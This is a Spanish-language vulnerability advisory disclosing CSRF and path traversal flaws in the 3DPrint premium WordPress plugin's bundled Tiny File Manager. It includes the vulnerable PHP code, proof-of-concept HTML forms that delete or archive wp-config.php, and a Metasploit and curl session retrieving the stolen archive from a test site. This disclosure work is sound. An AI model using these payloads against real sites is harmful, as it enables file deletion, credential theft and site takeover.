La versión premium del plugin de WordPress 3DPrint es vulnerable a ataques de falsificación de solicitudes entre sitios (CSRF) y de salto de directorios cuando la funcionalidad de gestión de archivos está activada. Estas vulnerabilidades permiten a un atacante eliminar archivos y directorios arbitrarios de los sitios afectados u obtener acceso a ellos, incluidos archivos confidenciales como los archivos de configuración del sitio, lo que a su vez podría permitir tomar el control total del sitio.
Recientemente, mientras revisábamos algunos posibles falsos positivos detectados por nuestras firmas experimentales, descubrimos código que nos resultó desconcertante en el plugin premium 3DPrint.
require_once("../../../../../../wp-load.php");
if ( !current_user_can('administrator') ) exit;
$p3d_settings = get_option( 'p3d_settings' );
global $wpdb;
set_time_limit(0);
ini_set( 'memory_limit', '-1' );
Este fragmento se encontró en el módulo Tiny File Manager PHP, ubicado dentro del directorio include del plugin, pero no se encuentra en el proyecto original Tiny File Manager. Parece que se ha inyectado con la intención de integrarlo con los controles de acceso basados en roles de WordPress.
Cargar archivos de código de WordPress de esta forma en un módulo no relacionado suele ser señal de que algo no encaja, así que decidimos investigar más a fondo.
El lector atento observará que el acceso al módulo está limitado a los usuarios con el perfil de administrador, pero no se comprueban los nonces. Eso no supondría un problema si Tiny File Manager tuviera su propia protección contra CSRF, pero, como no era así, parece que este código podría ser vulnerable a un ataque CSRF. (Desde entonces, Tiny File Manager ha añadido protección contra CSRF después de que les informáramos del problema. ¡La versión 2.5.0 y las posteriores deberían ser mucho más seguras!)
Un factor que complica la situación es que Tiny File Manager no se incluye en el paquete al instalar 3DPrint premium, sino que se descarga bajo demanda cuando se activa. La versión descargada en el momento de redactar este artículo es la 2.4.4, pero los desarrolladores de 3DPrint la han modificado considerablemente y se descarga desde su dominio, no directamente desde los repositorios de Tiny File Manager.
La mayoría de los cambios realizados eliminan funciones que el plugin no utiliza, además de otros cambios, como codificar de forma fija la ruta y limitar aquello a lo que el gestor de archivos debería poder acceder. Asimismo, las funciones de autenticación y autorización integradas en Tiny File Manager se han desactivado y sustituido por la integración mencionada anteriormente con el sistema de roles de WordPress.
Hemos descubierto un par de vulnerabilidades en las que la combinación de los controles de acceso modificados y la inclusión de Tiny File Manager en el plugin 3DPrint puede ser aprovechada por un atacante externo. Esto incluye la eliminación o descarga de archivos confidenciales, lo que podría permitir tomar el control total del sitio. Estas vulnerabilidades aprovechan la ausencia de comprobaciones de nonce en los controles de acceso modificados, junto con las vulnerabilidades de salto de directorios del propio Tiny File Manager.
Hemos intentado ponernos en contacto con el proveedor tanto del plugin 3DPrint como del proyecto Tiny File Manager. De ellos, solo los desarrolladores del proyecto Tiny File Manager nos han respondido y han corregido los problemas que les comunicamos.
Descubre nuestro nuevo WAF como parte de Jetpack Scan, que ofrecerá protección contra estos ataques de forma predeterminada. Actualmente se encuentra en fase beta. Jetpack Scan también detectará el componente vulnerable y ayudará a eliminarlo.
Como el módulo Tiny File Manager se descarga e instala bajo demanda, no tiene por qué haber correspondencia entre la versión del plugin y la versión de Tiny File Manager que se está utilizando. Sin embargo, una vez instalado, no parece haber una forma sencilla de actualizar el módulo Tiny File Manager, aparte de eliminarlo manualmente y volver a activarlo.
Por este motivo, consideramos que todas las versiones de 3DPrint están expuestas a las vulnerabilidades que se indican a continuación si el gestor de archivos está activado.
Las vulnerabilidades
1. CSRF que permite eliminar archivos o directorios arbitrarios
- Plugin: 3DPrint
- Slug del plugin: 3dprint
- URI del plugin: http://www.wp3dprinting.com/2015/07/29/changelog/
- Versiones vulnerables: todas
- Versión corregida: ninguna
- Puntuación CVSS: 8.2 (Alta, CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:L)
- CVE: CVE-2022-3899
La funcionalidad de eliminación masiva de la versión incluida de Tiny File Manager (versión 2.4.4) no está protegida adecuadamente contra el salto de directorios y tampoco cuenta con protecciones contra CSRF. Esto permite que un atacante engañe a un administrador para que elimine varios archivos o incluso directorios del servidor de forma recursiva.
// Mass deleting
if (isset($_POST['group'], $_POST['delete']) && !FM_READONLY) {
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
// $path .= '/' . FM_PATH;
}
$errors = 0;
$files = $_POST['file'];
if (is_array($files) && count($files)) {
foreach ($files as $f) {
if ($f != '') {
$new_path = $path . '/' . $f;
if (!fm_rdelete($new_path)) {
$errors++;
}
}
}
if ($errors == 0) {
fm_set_msg('Selected files and folder deleted');
} else {
fm_set_msg('Error while deleting items', 'error');
}
} else {
fm_set_msg('Nothing selected', 'alert');
}
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
Esto puede explotarse asignando cualquier valor a los parámetros POST group y delete, y pasando una matriz de archivos o directorios que eliminar en el parámetro file. La variable $new_path es una simple concatenación de FM_ROOT_PATH y el nombre de archivo proporcionado, que se pasa a la función de eliminación recursiva fm_rdelete(). Como fm_rdelete() no valida las rutas que recibe, este código es vulnerable a un ataque de salto de directorios.
Este es un ejemplo de prueba de concepto:
<form action="https://example.com/wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php" method="POST">
<input type="hidden" name="group" value="1">
<input type="hidden" name="delete" value="1">
<input type="hidden" name="file[1]" value="../2020">
<input type="hidden" name="file[2]" value="../../../wp-config.php">
<input type="submit" value="Get rich!">
</form>
Todas las rutas son relativas al directorio wp-content/uploads/p3d/ del servidor. Cuando cualquier administrador que haya iniciado sesión hace clic en el botón para hacerse rico, sus archivos subidos en 2020 se eliminarán junto con el archivo wp-config.php de los sitios.
2. CSRF que permite realizar descargas arbitrarias
- Plugin: 3DPrint
- Slug del plugin: 3dprint
- URI del plugin: http://www.wp3dprinting.com/2015/07/29/changelog/
- Versiones vulnerables: todas
- Versión corregida: ninguna
- Puntuación CVSS: 7.4 (Alta, CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N)
- CVE: CVE-2022-4023
La funcionalidad de la versión incluida de Tiny File Manager (versión 2.4.4) para descargar un archivo zip o tar con los archivos seleccionados no está protegida contra el salto de directorios y carece de protecciones contra CSRF. Esto permite que un atacante engañe a un administrador para que cree un archivo zip o tar con archivos y directorios arbitrarios del sitio, incluidos archivos de configuración u otro contenido confidencial.
El archivo se coloca en el directorio de subidas habitual de 3DPring, wp-content/uploads/p3d/. El atacante solo puede controlar parcialmente el nombre del archivo, pero este es lo bastante predecible como para que resulte relativamente fácil obtenerlo mediante fuerza bruta. Si sabe a qué hora se envió la solicitud falsificada, también debería ser muy fácil hacer una conjetura fundamentada.
// Pack files
if (isset($_POST['group']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) {
$path = FM_ROOT_PATH;
$ext = 'zip';
if (FM_PATH != '') {
// $path .= '/' . FM_PATH;
}
//set pack type
$ext = isset($_POST['tar']) ? 'tar' : 'zip';
$files = $_POST['file'];
if (!empty($files)) {
chdir($path);
if (count($files) == 1) {
$one_file = reset($files);
$one_file = basename($one_file);
$zipname = $one_file . '_' . date('ymd_His') . '.'.$ext;
} else {
$zipname = 'archive_' . date('ymd_His') . '.'.$ext;
}
if($ext == 'zip') {
$zipper = new FM_Zipper();
$res = $zipper->create($zipname, $files);
} elseif ($ext == 'tar') {
$tar = new FM_Zipper_Tar();
$res = $tar->create($zipname, $files);
}
Al enviar una solicitud POST con el group y con cualquiera de las variables zip o tar con cualquier valor, se creará un archivo comprimido con los archivos especificados en el parámetro file. La fecha y hora actuales se añadirán al nombre del archivo comprimido, que tendrá el mismo nombre base que el archivo archivado o «archive» si se archivan varios archivos juntos. El archivo comprimido se creará en el directorio de subidas de 3DPrint, pero las rutas de los archivos no se depuran y pueden incluir rutas fuera de este directorio, lo que supone una vulnerabilidad frente a ataques de salto de directorios.
Para aprovechar esta vulnerabilidad, creamos un sencillo módulo de carga útil para Metasploit que actúa como un formulario que envía automáticamente la carga útil maliciosa al sitio vulnerable. La carga útil enviada como prueba de concepto fue:
<!DOCTYPE html>
<html>
<body>
<form action="https://3dprint-test.ddev.site/wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php" method="POST">
<input type="hidden" name="group" value="1">
<input type="hidden" name="zip" value="1">
<input type="hidden" name="file[1]" value="../2022">
<input type="hidden" name="file[2]" value="../../../wp-config.php">
</form>
<script>document.forms[0].submit()</script>
</body>
</html>
Como el módulo de Metasploit registraba la marca de tiempo del envío del formulario, resultaba fácil adivinar el nombre de archivo correcto del archivo comprimido creado.
% msfconsole
msf6 > use payload/html/html_reverse_http
msf6 payload(html/html_reverse_http) > set LHOST localhost
LHOST => localhost
msf6 payload(html/html_reverse_http) > set LURI /
LURI => /
msf6 payload(html/html_reverse_http) > set PAYLOADFILE ../poc/poc-csrf-archive.html
PAYLOADFILE => ../poc/poc-csrf-archive.html
msf6 payload(html/html_reverse_http) > to_handler
[*] Payload Handler Started as Job 0
[*] Started HTTP reverse handler on http://[::1]:8080/
[*] http://localhost:8080/ handling request from ::1; (UUID: rhexpfwi) Request processed at 2022-12-10T11:06:49+01:00
msf6 payload(html/html_reverse_http) > exit
% curl -I 'https://3dprint-test.ddev.site/wp-content/uploads/p3d/archive_221210_100649.zip'
HTTP/2 200
server: nginx/1.20.1
date: Sat, 10 Dec 2022 10:07:35 GMT
content-type: application/zip
content-length: 87225
last-modified: Sat, 10 Dec 2022 10:06:49 GMT
etag: "63945a39-154b9"
accept-ranges: bytes
% curl -O 'https://3dprint-test.ddev.site/wp-content/uploads/p3d/archive_221210_100649.zip'
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 87225 100 87225 0 0 2322k 0 --:--:-- --:--:-- --:--:-- 2366k
% unzip -v archive_221210_100649.zip
Archive: archive_221210_100649.zip
Length Method Size Cmpr Date Time CRC-32 Name
-------- ------ ------- ---- ---------- ----- -------- ----
0 Stored 0 0% 2022-12-10 10:06 00000000 ../2022/
0 Stored 0 0% 2022-12-10 10:06 00000000 ../2022/12/
85888 Defl:X 85655 0% 2022-12-10 10:05 724f1f67 ../2022/12/funny-cat.jpg
1955 Defl:X 1114 43% 2022-11-01 23:25 96f2088a ../../../wp-config.php
-------- ------- --- -------
87843 86769 1% 4 files
Observa cómo podemos deducir el nombre de archivo del archivo comprimido generado a partir de la marca de tiempo de la solicitud. En este caso, el contenedor del servidor está una zona horaria por detrás de la hora local.
Recomendaciones
Dado que la versión del gestor de archivos instalado es independiente de la versión del plugin instalado, no podemos recomendar una versión concreta del plugin.
Tampoco hemos encontrado una forma sencilla de actualizar el módulo del gestor de archivos si se publica una nueva versión más adelante.
Por este motivo, consideramos vulnerables todas las versiones del plugin premium 3DPrint si el componente del gestor de archivos está activado.
Nuestra recomendación es asegurarse de que el módulo del gestor de archivos esté desactivado y que se elimine el archivo del sitio.
La forma más sencilla es eliminar el archivo wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php si existe.
Conclusiones
Todas las versiones del plugin premium 3DPrint son vulnerables a CSRF y a ataques de salto de directorios si el módulo del gestor de archivos está activado en el sitio. Esto no afecta a la versión gratuita del plugin descargada del repositorio de plugins de WordPress.org.
En Jetpack, nos esforzamos para asegurarnos de que tus sitios web estén protegidos frente a este tipo de vulnerabilidades. Te recomendamos tener un plan de seguridad para tu sitio que incluya análisis de archivos maliciosos y copias de seguridad. El paquete de Jetpack Security es una excelente opción de seguridad para WordPress que garantiza que tu sitio y sus visitantes estén a salvo. Este producto incluye análisis de malware en tiempo real, copias de seguridad del sitio, protección contra el spam en comentarios y formularios gracias a Akismet, protección contra ataques de fuerza bruta, y mucho más.
Créditos
Investigación de Harald Eilertsen, con comentarios y correcciones de Benedict Singer, Rob Pugh, Jen Swisher y el equipo de Jetpack Scan.
Cronología
- 2022-09-08: Tuvimos conocimiento del hallazgo y comenzamos a investigarlo
- 2022-10-25: Primer contacto con el proveedor
- 2022-11-01: Se contactó con el proveedor por segunda vez a través de otro canal
- 2022-11-08: Se divulgó la vulnerabilidad de eliminación masiva (CVE-2022-3899)
- 2022-11-15: Contactamos con los desarrolladores de Tiny File Manager por la falta de protección contra CSRF y las vulnerabilidades de salto de directorios.
- 2022-11-19: Se publicó Tiny File Manager 2.5.0, que solucionaba los problemas de CSRF, pero no los problemas de salto de directorios.
- 2022-12-13: Divulgación pública



